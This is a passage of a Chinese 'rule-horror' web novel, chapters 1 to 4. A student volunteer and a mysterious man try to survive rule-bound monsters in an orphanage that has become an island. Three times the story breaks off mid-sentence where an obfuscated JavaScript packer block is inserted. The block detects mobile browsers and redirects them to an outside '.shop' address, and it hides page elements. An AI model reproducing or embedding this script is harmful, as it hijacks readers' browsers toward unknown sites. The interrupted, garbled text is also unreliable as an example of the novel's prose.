《今天也没被吃呢[规则怪谈]》 1. 001 迟青瑜坐在电脑前敲着键盘。 她敲完最后一个字,仔仔细细检查过后,将名为《社会实践报告-迟青瑜》的文档上传至邮件,确认发送。 完成后,她松了口气。 今天是她做义工的最后一天。 作为A大的学生,迟青瑜也跟许多人一样,利用假期的时间完成社会实践学分,今年是她来市立儿童福利院做义工的第二年。与她一同来的,还有同校的学妹徐敏。 徐敏性格开朗,活泼外向。两人刚认识几天,迟青瑜对她的印象不错,认为她是个接触起来很舒服的人。 同时,她也很有爱心,徐敏会选择这里做义工,迟青瑜并不意外。 “学姐,你准备走了吗?”徐敏收拾着背包里的物品,确认再三,“我也准备走了,一起吗?” “嗯。”迟青瑜点头,“我需要借用这里的打印机,打印纸质版的报告,你着急就先回学校吧。” “没事,我在门口等你吧!”徐敏拉上背包的拉链,认真道:“最近A城的治安不太稳定,我们两个一起走,互相有个照应嘛!” 迟青瑜没有再推脱。 两人闲聊两句后,在楼梯口短暂分别,徐敏顺着楼梯走向一楼,而迟青瑜向上来到三楼。 福利院的三楼基本是各类行政岗位的办公室,公用的打印机放在整个三楼最中间的打印室里。 迟青瑜已经对这里熟门熟路,她径直来到打印室,熟练地连接电脑打印报告。 此时已经过了下班时间,三楼没什么人,小孩子吵闹的声音也不会传到这里,迟青瑜难得找回一丝清静。 款式老旧的打印机孜孜不倦地工作着,吐出一张张A4纸。 她拿起报告,检查打印情况,却意外地发现,纸张上的内容与她所写的报告并不一致。 “奇怪。” 是机器出故障了,还是卡文档了? 迟青瑜仔细阅读起A4纸上的内容,这一看,更是满头雾水。 只见标题用加粗字体写着“玩家守则”四个大字,并且罗列了几项规则—— 恭喜玩家进入规则怪谈,在游戏途中,请遵守以下规则,以保证您的人身安全: 1.你是活人。无论如何,请各位坚信这一点,并且相信,你是你,且仅是你。 2.每个怪谈拥有独立的规则,该规则由‘核’制定,遵守规则,能让你在怪谈中安全应对绝大部分情况。 切勿违反、触犯规则,这很有可能会触怒‘核’,违者后果自负。 3.玩家中不存在死人。如果你怀疑有死人混迹其中,利用公投机制票选该玩家即可。票数最高的玩家将被处决;只有处决才能杀死死人。 公投每天仅可使用一次。 4.在怪谈中,请尽量相信发生的一切均为真实,以便获得最佳沉浸式体验。 若你出现头晕、耳鸣、意识模糊、四肢乏力、幻觉幻听等现象,这是正常的。 不用惊慌,这证明你遵守了规则,你是安全的。 5.以上内容,我们承诺绝对真实可信。 短短五条规则,只用了一页不到的版面,剩余的内容完全是这段话的复制粘贴。 迟青瑜扭头去检查打印序列,自己的报告还乖乖地等在排队列表,过往的记录里也并没有跟“玩家规则”有关的文件,那么这份资料从何而来? 她疑惑着,突然,打印室的灯管闪烁几下,电脑显示器啪的一声熄灭了屏幕,迟青瑜的视野陡然变暗,夕阳倾斜,将室内照得昏黄。 停电? 现代社会基建完善,像A城这种大城市很少出现大面积停电的问题,迟青瑜也没有收到电路维护的通知,也就是说,是故障停电的可能性较大。 市立福利院虽说有二十多年的历史,但前几年政府才拨款整修过,应该不太可能存在线路老化的情况。 迟青瑜在原地等了一会儿,供电并未恢复。 这时,打印室的门被敲响。 “有人在里面吗?” 这个声音迟青瑜认识,是福利院的维修工李叔。 她打开门,门外站着的果然是李叔,迟青瑜指了指打印机:“是我,我刚刚在打印资料,突然就停电了,但是资料还没打印好。李叔,大概什么时候能修好?要是情况比较复杂我今天就先回去了。” “没事没事。”李叔连忙摆手,“这个是小问题。” 他有些浑浊的眼珠看向迟青瑜手里的A4纸,咧嘴一笑,露出老烟民特有的黄牙:“小瑜啊,你这手上拿的不是资料吗?我们这里的打印机虽然旧了些,但很耐用,从来没听说过它坏了呀。” 迟青瑜皱皱眉头。 她问的明明是供电问题,怎么李叔回的话毫不相干呢?更何况,李叔是个五十岁的老电工,平时的电路和家电问题还能整整,但他可不会修什么打印机。 “怎么了,不让我进去看看吗?”李叔站在门口催促道。 这一瞬间,她有一种莫名的违和感,内心里总有一个声音诉说着不安,令她想快速逃离这里。毫无理由地,她联想到了那份奇怪的规则,她没有来得及思考出答案,本能的求生欲让她变得警惕起来。 “你不让我进来,我怎么帮你修东西?”李叔有些不耐烦,眼睛死死盯着迟青瑜。 “嗯,是打印机坏了。”迟青瑜下意识改口道,“但是总电路好像跳闸了,李叔,供电恢复不了的话,也没法修打印机啊?” “李叔”一愣,喃喃念着:“是哦是哦……是应该这样,没错,你在这里等我,我很快就回来……等我,等我,等我……” “李叔”机械地重复着两个音节,迈开腿朝着楼梯的方向走去,动作迟缓,步履蹒跚。 迟青瑜缓缓关上门,顺手反锁,背部靠着门板蹲坐下来。 她确信,这个“人”不是李叔。他走的方向不是电闸所在的位置,李叔也不会修打印机,最重要的是,自己明明没有叫维修工,他却像是专门找来的一样? 这个“人”跟李叔长得一模一样,但从认知到行为都不对劲。那他是什么东西? 迟青瑜忽然就想到了规则里提到的“死人”,但……这可能吗? 她嗓子有些发干,脑子里一遍又一遍回顾着规则上的内容,越想越觉得可疑。现在回想起来,从打印机故障开始,怪事就频频发生。 她深吸一口气。 “冷静,不要慌。”迟青瑜对自己这么说。 就算这个世界有鬼怪灵异,祂们想必也是遵从某种规则生存的,就像人类目前无法打破时间的规则一样。 想通了这个逻辑后,迟青瑜对未知的恐惧感减轻不少。 门外的动静消失了,甚至连其他人的动静都听不到,整个三楼陷入死寂。迟青瑜打开手机的摄影功能,从门缝底下看去。 门外什么也没有。 没有脚,也就说是没人站在门外,迟青瑜悄悄打开一条门缝,探头左右张望。 确认走廊空无一人,迟青瑜才从打印室出来,转身就往走廊另一侧跑。 她去年做义工的时候参加过消防演习,知道楼层的消防通道,也多亏了她强大的记忆力,整个楼层的地图早就印在她的脑海中。 她快步在走廊里穿梭,夕阳越来越红,整个天空都被染上异常的鲜红。 很快,迟青瑜来到消防通道,她按耐住激动的情绪,手伸向门把,可门却如千斤重,根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122296|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推不开。 同时,门上贴着一则告示。 《关于近期电路故障多发的告示》: 因孤儿院的线路老化严重,近期本院将不定时停电维修,恢复时间不定,请全体员工在停电时停止工作,下班后立刻离开,以免造成不便。 如果你因为特殊原因逗留本院,请自觉遵守以下规定: 1、电路维护期间将长时间停电。如果看到正在运行的有线电器或电子设备,请立刻于五分钟内拔掉它的电源;如果超过了五分钟,请立刻找到距离你最近的一本书,假装你在读书,没有注意到它。 2、维护期间,维修工将会巡查本楼的每一个房间检查线路。请注意,维修工会独立完成工作,他们不屑于与人共事。 如果他以任何理由寻求你的帮助,请拒绝他。 3、维护期间,任何人禁止独自进入消防通道。 4、本院没有维修工,如果遇到维修工,请于十分钟内跑到最近的厕所躲起来。请注意,你需要躲藏进与维修工性别相异的厕所隔间,待够至少十五分钟。 5、凡是维护期间仍逗留在孤儿院的人员,本院对您的人身安全概不负责,请注意本院发表的各类告示,只有盖有本院公章的规则才有效力。 最后一条规则下面盖着红色的公章,但那并不是迟青瑜熟悉的市立福利院的公章,红褐色的圆圈内写着的,是“天使孤儿院”五个字。并且,公示的开头也以孤儿院自称,她现在或许处在一个叫天使孤儿院的地方。 但现在不是她思考的时候,迟青瑜盯着第四条规则的内容。 第二条与第四条在维修工存在与否的问题上,存在明显逻辑悖论,但这两条所要做的事情并不冲突,也就是说—— 如果,自己遇到的“李叔”,是规则中说的“不存在的维修工”,那么她就要在十分钟之内躲进厕所隔间。 她顾不得多想,连忙转身走向厕所的方向。 “小瑜……” 熟悉又异常的声音从身后传来。 是“李叔”。 迟青瑜的身体僵硬一瞬:他什么时候来的? “小瑜你怎么不在原地等我啊?” 那“人”似乎咧嘴笑出声,迟青瑜能听到血肉撕裂的声音,还能听到液体滴落在瓷砖地面的声音。 迟青瑜头也不回,拔腿就跑。 这一刻她拿出比体育中考还强的狠劲,任凭后面的东西怎么叫她,她都充耳不闻。身后吱吱呀呀传来诡异的脚步声,似乎祂已经放弃维持“人”的语言系统,只能发出意义不明的呓语。 风在耳旁呼呼作响,心脏跳动的声音清晰沉重。 好在,那东西听起来移动速度并不快。而且从停电到现在,周围的环境虽然变得有些老旧,但结构并没有改变。 迟青瑜一个急转弯,扭身钻进女厕所,随手打开一个隔间。 关门反锁,一气呵成。 “哈……” 她一边平复呼吸,一边注意外面的声响。 走廊里听起来像是有什么肉团在蠕动,发出黏腻的挤压声,但“祂”似乎只是在徘徊,没有进入厕所,至少证明规则说的是对的。 她现在需要在厕所里躲十五分钟,有足够的时间思考下一步的对策。 迟青瑜点开手机屏幕,想要查看时间。 电子屏幕的光照亮狭小的隔间。 她这才看到,隔间里不止她一个人。 迟青瑜硬生生忍住惊呼声,视线在对方身上上下一扫。 还好,有鼻子有眼,姑且看起来是个正常人,但是…… 迟青瑜两眼一黑。 谁能告诉她,为什么女厕所里面会有男人? 2. 002 那是个身材高大的男人,眉眼凌厉,穿着干净整洁。 任谁看了,第一反应都是个坐办公室的斯文白领。因此,迟青瑜在女厕所碰到他时,只觉得略显滑稽。 他缩着手脚,整个人都窝在角落,几乎跟墙壁融为一体,也难怪迟青瑜一开始没发现他。 面对迟青瑜质问的眼神,男人全身肌肉紧绷,神情紧张慌乱,看起来被吓得不轻,一张好看的脸木得跟雕塑一样。 迟青瑜初步判断,对方看样子不像是“鬼”。 但他不说话,迟青瑜也不想安抚他,两人就这么僵硬地对视着。 良久,男人的情绪似乎平缓下来,呼吸也正常了,他率先开口打破了沉默:“我不是奇怪的人……” 他自觉理亏,表情局促而尴尬,但还是硬着头皮说:“简而言之,我遇到了很特殊的情况,必须要在这里待够十五分钟。” “十五分钟?” 迟青瑜脑海中闪过一个可能性:“所以你也……” 她拿出刚刚打印出来的纸张,将纸面怼到男人脸上:“你也看到过这个东西是吗?” 他僵硬地移动着脖子,做出点头的动作。 迟青瑜暂时松了一口气。根据“李叔”的情况来看,祂们似乎并不能完全拥有人类的思维,在言行举止上总会有些异样,但眼前这人从头到尾的反应都很自然,说话逻辑通顺,也有明显的思考过程,像个真人。 “你相信我?”男人有些惊讶。 “坦白讲,没有完全相信。”迟青瑜坦诚相告,“但这不重要,我的原则是不轻易相信他人,也不轻易怀疑他人。” 他愣怔片刻,好像在思考和理解这句话的含义。 男人继续向后挪动身体,几乎要把自己嵌进墙壁里:“你不用担心,时间一到我就出去。” “你知道怎么离开这里?” “嗯。我刚刚摸索过,这层楼的出入口只有东西两侧的楼梯和消防通道,楼道里偶尔会有‘维修员’巡视,只要运气好点不被他们发现,从楼梯逃走就行。” 他清清嗓子:“刚刚运气不好,所以我才躲进来了。” 迟青瑜出于礼貌点点头,但她并不觉得这是上策。 厕所的位置距离东西楼梯都不算近,相比起来,从距离最近消防通道脱离才是最佳选择。刚刚他没有选择从消防通道走,大概是因为他也打不开门。 “我们可以一起走。”迟青瑜得出结论。 “什么?”他面部的肌肉轻微抽搐着,做出的表情有些怪异。 迟青瑜却说得有理有据:“离这里最近的消防通道才是最佳途径。从概率学上来说,更短的路径,遇到‘维修工’的可能性更低。而且,告示里说消防通道不能独自进入,我们是否可以理解成:只要不是独自一人就能进入消防通道?” “虽然不能保证我的猜测一定正确,但若是理解正确,我们成功的概率就更大。” 迟青瑜自认为没有能反驳的点。 但男人还是坚定地拒绝了。 迟青瑜不解:“为什么?” 他低沉的声音结结巴巴:“我、我还有一会儿就能走了,我想……早点走。” 迟青瑜:? 从逻辑角度来说,这话过于没有逻辑了。 但对方看起来没有恶意,肢体动作也显得很局促不安,似乎是真的一刻都不想多待。 换做平时,迟青瑜不会过多关注他人的动向,但现在是特殊情况,她决定试探一下。 迟青瑜随口一提:“是吗,那一会儿我也这样走吧——是从楼梯下去就能逃出去了吗?” “其实我也不确定,但范围应该不止这么小。不过你不用担心,怪谈一般都不是无解的,虽然不知道为什么,但逃脱的方法总是有的。” 他说话的时候,视线不自觉向斜上方看去,这是常见的回忆动作。 迟青瑜挑眉:“这么说,你以前也遇到过怪谈?” 男人一愣,后知后觉:“对,怎么了?” 既然他曾经进过怪谈,那肯定比迟青瑜一个新手有经验得多。 她心思一转,补充一句迟来的夸赞:“没什么,我只是觉得你看起来很有经验,想想也是,第一次遇到这种事情,谁会去到处探索呢,一不小心不就挂了?而且你应该是对这里不熟悉才需要摸索吧,能在短时间内探查完这个楼层,还是很厉害的。” 男人神情不变,并没有被她干巴巴的夸赞所打动。 “说回正题吧。”迟青瑜见状,便将话题转移回规则上,“你刚刚说,你是运气不好才被‘维修工’发现的,但我的观点不一样——我认为,从楼梯走是不能离开这里的。” 被否定了思路,对方向她投来问询的目光。 接着,她往门板上一靠,双手抱胸,电子屏幕的光照得她眼神明亮:“公示第二条规则,维修工会检查本楼的每一个房间。” “这个规则有什么问题吗?” “规则里明确说了,他们会检查这栋楼的每一个房间,潜台词就是,维修工的检查范围不止三楼。在现在这种停电状态下,电梯不可用,楼层间的通道就只剩下东西两侧的楼梯。” “那么,在维修工很有可能会使用楼梯的情况下,从楼梯逃走显然并不安全。” “以及,同一条规则里说了,维修工会独立完成工作,他们不屑于与人共事。也就是说,我们可以大胆猜测小心验证:维修工是单独行动的。” 迟青瑜一条条罗列着:“规则第四条:任何人禁止单独进入消防通道。也就是说,维修工几乎是无法进入消防通道的。按照我的分析,玩家只要凑齐至少两个人一起走,就有很大概率能安全地逃离这栋建筑。” 迟青瑜说完这话,习惯性地扬起下巴,神采奕奕,就如同过往的无数次场景一样。 “……我明白了。” 男人几乎是瞬间就明白了她的意思,一想到自己莽撞的行为,顿时感觉脸热。 他试图给自己打补丁:“我探索的时间不长,没有来得及仔细想……你说的很有道理,谢谢你告诉我这些。” 迟青瑜终于放下抱在胸前的双手:“这么说,你答应了?” “什么?” “我们一起走。” 他的视线看向地板,好似正在经历一番天人交战。 半晌,他轻声回应她:“嗯。” ------------------------------------------------------ 三楼的楼道内,女厕所的门被轻轻推开,几乎没有发出声音。 几年前被翻新过的楼层,现在异常老旧,电线裸露,管道锈迹斑驳,门窗被阴风吹得嘎吱作响。 迟青瑜打开手电筒功能,照亮道路。 她一只脚迈出来,鞋底黏腻的触感让她生理恶心,低头一看,整个地板都被不知名的黑色粘液覆盖。 她转头问道:“……你没有洁癖吧?” 对方摇摇头。两人一前一后从女厕所出来,迟青瑜叮嘱他:“你跟着我走,这里我比你熟。” 两人在隔间的时间内,互相交换了名字和联系方式,以便不时之需。迟青瑜了解到,男人的名字叫司沉。 从厕所出来后,司沉一直默默跟在她身后,保持着微妙的距离,比正常的社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122297|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交距离还远些。 迟青瑜默默关注着他的举动,脚下不停,顺着最短路径来到了熟悉的消防通道前。 门上还贴着一样的告示,迟青瑜握住门把手,一扭一推,防火门发出巨大的吱呀声。 如她所料,门开了。 “快走。”迟青瑜催促他。 司沉见状,上前一手扶住门框,侧身而入。 就在门即将关上的那一刻,啪嗒——一只焦黑的手死死地抓住门框。 “别走、回来、回来……” 那只手皮肤皲裂,从伤口处流出黑色的脓水,顺着门框滴落下来。 “不许走……” 迟青瑜的呼吸几乎停滞。焦黑的伤口处藏着一只通白的眼珠,明明没有瞳孔,她却感觉祂在用一种极端渴望的眼神看着自己。那眼睛似乎又是一张嘴嘴,上下张合疯狂嘶吼着什么。 ——不许走,回来陪我。 ——好好闻的味道,好好闻,我要…… ——吃了她吃了她吃了她…… 迟青瑜想要用力捂住耳朵,不去听那嘈杂的声音。 “屏住呼吸。”司沉的话打断了她的动作。 “什么?” 迟青瑜不理解他想干什么,抬头对上他的视线,司沉眉间紧锁,额角青筋暴起:“信我,快点!” 迟青瑜一咬牙:死马当活马医了。 她后退两步,深深吸入一大口空气,双手死死地捂住口鼻。 下一秒发生的事情颠覆她的想象。 原本伸向她的那只手好像突然失去了感知能力,茫然地停顿在半空中。 司沉见此机会,用力一推,厚重的防火门应声关上,焦黑的手臂发出清脆的喀嚓声,折断跌落在地。 迟青瑜呆呆地看着地上的半截手臂。 “好了,门关上了。”司沉抵着门,确认那东西无法再进来。 似乎已经没有危险,但迟青瑜的依旧惊魂未定。她刚刚有一种非常强烈的感觉:像是动物被自然界的猎食者盯上时,刻印在本能中的危机感。 当她屏住呼吸时,祂就像突然失去了目标,并且,祂并没有因此转而攻击司沉,就好像那东西的目的只有自己一样。 司沉呢?他到底知道什么? 迟青瑜不自觉地看向司沉,他此时依旧靠在防火门上,面对她狐疑的眼神,司沉神色复杂。 迟青瑜读懂了他的犹豫:“你一定知道些什么东西,但你不愿说。” 她一步步走近,男人肉眼可见地紧张起来。 迟青瑜判断:他不可能是被吓的,一是因为司沉对怪谈有经验,二是从他的行为模式来看,他本身并不是个胆小无谋的人。 而结合现在的反应来看,他更像是有针对性地感到紧张。 迟青瑜在他的一步之外停住脚步,她从边缘的话题开始说起,企图让他放松一些:“祂们是针对我来的,目标很明确。而且,屏住呼吸似乎可以让他们感知不到我的存在,这是祂们共通的行为模式吗?” 司沉颔首:“嗯。祂们一般听从‘核’的命令,违反规则的人就会受到袭击。” “据我所知,我并没有触犯规则。” 司沉顺着她的思路继续说着:“这种情况很少见。祂们很少会做出越界的举动,比如说,违反‘核’定下的规则,或者对未违反规则的玩家下手。” 迟青瑜自嘲一笑:“也就是说我是例外?” 男人如鲠在喉,不知如何回答。 迟青瑜突然向前迈出一步,直勾勾地盯着司沉的眼睛,对方的瞳孔瞬间缩小,虹膜中倒映出她的身姿。 “你还有什么瞒着我?” 3. 003 迟青瑜突然缩短两人之间的距离,对方始料未及,条件反射般抓住她的手腕。 力道不小,迟青瑜吃痛地皱起秀气的眉毛。 “别过来。”司沉将两人的距离控制在半米,两人就这么对峙着,迟青瑜不可能后退,司沉也不放手。 良久,司沉最终还是放弃挣扎,他无奈道:“我告诉你原因,你离我远一点。” “好。”迟青瑜爽快答应。 司沉松开她,她揉揉手腕,一副洗耳恭听的模样。 司沉语气诚恳:“其实……祂们是嗅到了你的气味。这并不只是广义上的味道,更准确地说,应该称为气息,是一个人存在的证据。那些低阶的诡异,祂们没有所谓的五感,基本只能靠这样的方式确定你的存在。” “屏住呼吸,可以隐藏自己的气息——大家都是这么做的。” 迟青瑜反应过来:“有很多人都遇到过怪谈?” 司沉耸耸肩:“我也不确定,据我所知应该是少数。” 回到原来的话题,司沉表情微妙:“你的气息很特殊,以至于祂们不惜触犯规则主动对你出手,‘核’一般不会容许这样的东西存在,祂们很快也会被抹杀。” 短短的几句话,信息量很大,迟青瑜只能挑重点询问:“气息特殊指的是?” “简单来说,就像猫薄荷之于猫,是一种会让祂们趋之若鹜的存在。” 迟青瑜的脸色有点难看。 这么说,她就是行走的一块肉,还是特别招鬼稀罕的那种。这可不太妙,如果真按司沉说的,那么自己再怎么遵守规则都是没用的,总会有那么些逾越的诡异主动袭击她。 她一个普通人,总不能憋气憋到死吧? “你怎么知道我的气息特殊?” 司沉的表情凝固一瞬,讪讪开口:“……我的体质比较特殊。之前出了一场意外,醒来之后我就失去了嗅觉和味觉,医院也查不出问题。” “但刚刚你进来之后,我忽然就闻到了……”他停顿半秒,不着痕迹地略过这一细节,“后来我仔细想过,那应该是你的气息,刚刚也证实了这一点,你屏住呼吸的时候,我也闻不到那种味道了。” 说是闻,其实并不准确,但他很难形容那种特殊的感官体验,像是直接作用于脑神经的感受。 除此之外还有一些特殊的连锁反应,但司沉有意识地略过这部分,他清清嗓子掩盖自己的不自在。 显然,迟青瑜听完,她的脸色更难看了。根据这人从一开始就躲着她的行为来看,恐怕不仅仅是能闻到味道这么简单。 “……别这么看着我。”司沉预料到她的反应,颇为无奈,“这件事除了你和我,没有第三个人知道,请麻烦你替我保守秘密。” “保守秘密可以,但你的状态并不稳定,对我来说,与定时炸弹无异。” 司沉正色:“你可以相信我,看在我姑且救了你一命的份上。” 迟青瑜犹豫了。 确实对方虽然看起来不稳定,但也能控制得住,说不上失控。并且,他救了自己也是实打实的,于情于理,自己或许都不应该对他太苛刻。 司沉想到自己的立场,又补充一句:“我可以给你提供一切我所知道的信息。” “哦?”迟青瑜有点心动。 不说别的,光是规则怪谈相关的信息,就非常吸引人。而现如今,两人都被困在这里,建立良好的合作关系才是上策。退一万步说,她的手里握着对方的把柄,也不算是毫无筹码。 迟青瑜仔细思考着利弊关系,最终同意了司沉的合作申请。 她将手机的光打向阶梯,照出一条明亮的通道。 “既然这样,那我们边走边说吧。” ------------------------------------------------------ A市城郊,市立福利院。 晚上七点,城市的霓虹灯没有照亮这栋偏僻的建筑,看似安宁的环境,被车灯的一束强光打破。 一辆普通的黑色小轿车停在福利院门口,车窗摇下,驾驶座的女人抬眸看向夜幕下的福利院。 她转头询问领座的少年:“是这里没错吧?” 副驾驶位置上的少年抱着一台改装的笔电,身材消瘦,一副病恹恹的样子,他睁着一双熊猫眼盯着电子屏幕:“是这里,根据计算,‘场’的开放概率很高。” 女人往背靠上一靠,略显烦躁:“看样子,门已经关上了,我们来晚了。不过司沉那小子今天提前来踩点了,这么久了都没消息,估计是进去了吧?” 少年的眼珠转向驾驶位,又缓缓转回来:“不知道,但可能性很高。” 一旦进入“场”,里面的人基本等于进入了异空间,目前没有任何方式可以与外界进行交流。 因此,他们三人也将手机安装了自动发送定位的软件,十分钟一次,在现代社会基本不会断网的情况下,失联基本等于进去了。 女人打开车载音响,快节奏的摇滚乐瞬间打破郊区的宁静氛围:“我们得在这附近安营扎寨了,也不知道他什么时候才能出来。” “也不需要我在这吧……”少年小声地嘀咕着,观察了眼女人的神色,便立刻了放弃试探对方的打算,转而装做一副听话乖巧的样子。 “今晚就先睡车上,轮流值夜,明天换着守……”女人事无巨细地安排起工作,“你记得监控‘场’的动向,如果检测到门开启的任何迹象,第一时间通知我。” 少年点点头。 尽管两个人都知道,以司沉的情况来说,独自进入怪谈也算不上危险,但作为名义上的“队友”,两人还是决定监控“场”的动向。 像他们这样能一起合作的人不多,每个人都格外珍惜这样的机会,毕竟,多一个知根知底的朋友,就多一份保障。 “不知道这次又会有多少人被牵扯进来……”女人摸摸口袋,掏出口香糖,咀嚼着缓解焦虑,“这个地方是福利院吧?说不定会有很多无辜的的小孩子。” 一旁的少年不以为意:“你会因为对方是个孩子,就无条件相信他说的话吗?” 女人瞥一眼他:“臭小子,中二病犯了吧?好好看你的电脑。” “我又没说错。”少年梗着脖子回应,最后还是乖乖猫在屏幕前监控数据。这时,一项数据的异常引起了他的注意。 他皱眉:“‘场’的能量增强了。” 两人沉默对视,心里都明白这代表着什么。 与此同时,司沉这边,已经在消防通道里面待了大半个小时,光是应付刨根问底的迟青瑜,他就快要筋疲力竭。 好不容易完成了“情报分享”工作,两人终于可以离开消防通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122298|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 迟青瑜跟在司沉身后,一言不发地走着。 此时,脚下的水泥地面剧烈地晃动起来,突如其来的震感差点让迟青瑜失去平衡,她紧紧握住楼梯扶手保持身形。 “地震?应该不是……” A城所处地界并非地震带,迟青瑜立刻就排除了这个可能性。 相比起迟青瑜,司沉明显感受到了什么。他面色凝重几分:“我们应该出去看看了。如果我没猜错,怪谈的场景在改变。” 说话间,震动已经停止,两人从消防通道来到一楼。 原福利院的消防通道连通一个绿化小道,不远处就是正门的广场和福利院大门。如今,外面的景色也就是显得更老旧些,布局并无太大变化。 但令两人震惊的是,远处的天际线,闪烁着破碎的水光。 ……海? 天色已经不再是一片鲜红,明月高悬的夜空下,迟青瑜怔怔地看着孤儿院外的景色。 她走到围栏边,脚下的水泥地像是被精确切割的黄油,沿着围栏形成整齐的地块。 围栏的外面,是一片汪洋大海。 他们所在的孤儿院,是海上的一片孤岛。 相比起迟青瑜的惊讶,司沉显然更多了一份警惕:“我还是第一次见变化这么大的‘场’。” 场,他们对怪谈区域的一种称呼,迟青瑜刚刚才解锁的新名词。 迟青瑜敏锐地感受到了他的紧张:“很严重?” 司沉僵硬地点点头:“嗯。‘场’的景色基本跟现实场景大差不差,但‘核’的力量如果增强了,就能更大幅度改变场景。” 核是场的主人,这个词迟青瑜在规则里看到过:“也就是说,诡异的力量增强了。” “没错。诡异的力量增强,就意味着规则会增多,约束力也会变强,逃出会更困难。但这不是最重要的……” 司沉艰涩地开口:“诡异的力量增强,只有一种可能——有人死亡,而且,并不只是单纯的死亡。” 迟青瑜脑子嗡的一声,死亡这个词离她的日常还是太遥远了,她嗓子有些发涩,机械地动动嘴唇却不知道该说什么。 电光火石间,她回想起《玩家守则》上的内容。 《玩家守则》第三条规则:玩家中不存在死人。如果怀疑有死人混在玩家中,应该使用公投机制处死他。 这两件事结合来看,迟青瑜只能得出一个结论:“伥鬼。” 司沉点点头:“虽然很难令人接受,但现在应该出现了我所说过的情况。” 在怪谈中,如果有人死去,这个人可以选择成为诡异的“伥鬼”,帮助诡异吃掉更多的人。目前暂时不可知“伥鬼”的行为逻辑,但可以确认的是,死人成为“伥鬼”后与活人无异,几乎很难分辨出来。 “上一次我遇到这样的情况时,只有三个人活了下来。” 此时此刻,迟青瑜才是真的明白,为什么《玩家守则》里把他们称为玩家,把规则怪谈称为游戏。 这是一场有输赢的零和博弈。 “——学姐?” 背后有人在喊她。 声音很熟悉,迟青瑜以为自己出现了幻听。 她转身,对方手中的大功率手电晃得她半眯着眼,她适应了一会儿,才看到站在自己面前的是徐敏。 “学姐,真的是你吗?” 4. 004 定睛一看,迟青瑜才发现她的身后还跟着两个人。 “学姐,你也被困在这里了吗?”徐敏将强光压下,“这里到底怎么了?……请问他是?” 徐敏此时也才发现迟青瑜身边多了一个陌生男人。 五个人面面相觑,谁也不能说多熟悉谁,还是徐敏率先开口打破这个尴尬的局面。 “我下班之后,在一楼遇到了这对领养家庭,他们跟前台发生了些矛盾,我就上去了解一下情况。没想到,突然就停电了……” 那对夫妻年近三十岁,男方名叫张耀,女方名叫林巧雁,今天原本是计划过来咨询领养事宜的,但张耀因为工作上的事情耽搁了,导致两人来到福利院的时候已经接近下班时间。 夫妻俩也因为这件事,与前台的小姑娘发生争执。 迟青瑜问道:“你们几个人是在一楼遭遇的停电,前台人呢?她没有跟你们一起吗?” 提到前台的工作人员,徐敏脸色煞白:“学姐,别提了。” 一旁的林巧雁看起来稍微镇静些:“那小姑娘停电之后去找了维修工,都去了半个多点了还没回来,我们几人觉得不对劲,就打算去找她。” 人肯定是没找到的,探索过程中,三人还发现这里完全变了样。 徐敏接着说道:“之后我们三人分头在广场这里找出口,但逛了一圈,门是锁死的不说,现在外面还变成了一片大海……这,我们不会真的撞鬼了吧?” 说到这个,徐敏的脸色更加苍白几分:“我们还、还看到了一份莫名其妙的文件,贴在一楼的门口。” 徐敏说的文件正是《玩家守则》。 几人的眼光不约而同看向司沉,只有他还没说明白自己的目的。迟青瑜听到他开始胡扯:“我是来给福利院的小朋友送温暖的。我在前台登记过,不出意外上面应该还有我的名字。” 很合理的理由,没人会起疑心。 “这都不重要!”张耀想不通几人为什么这么冷静,“现在到底什么情况啊?还有那个规则,一看就很怪异,还写什么死人,太不吉利了!” 迟青瑜不着痕迹地扫一眼张耀。这个年近三十的男人穿着正式,一看就是从重大场合赶来的,他原本被发胶固定的发型已经凌乱,额角冷汗直流。 “手机没信号,紧急电话也打不通,太邪门了……”张耀看起来精神状态并不稳定,一旁的林巧雁尽力安抚丈夫。 迟青瑜重重地叹气出声,丝毫不掩饰自己的不耐烦,张耀一时没有反应过来,司沉适时转移话题:“现在我们应该尽可能多的去探索规则,按照《玩家守则》中的内容,在怪谈里面只要遵守规则,应该就不会有太大的问题。” 言辞间,他并没有透露自己有应对怪谈的经验,司沉应该也在警惕眼前的三人。 张耀还是将信将疑,但事到如今,他也只能听从意见。 林巧雁此时忽然想起什么:“你们说的规则,指的是那些告示一类的东西吗?我刚刚在大门口发现了一个公告,你们看看?” 说着,她翻开自己的手机相册,在临时组织的群聊里发了一张照片。 照片背景看起来是孤儿院的大门,大门内侧,挂着一份裱框起来的公告。 《天使孤儿院领养人须知》 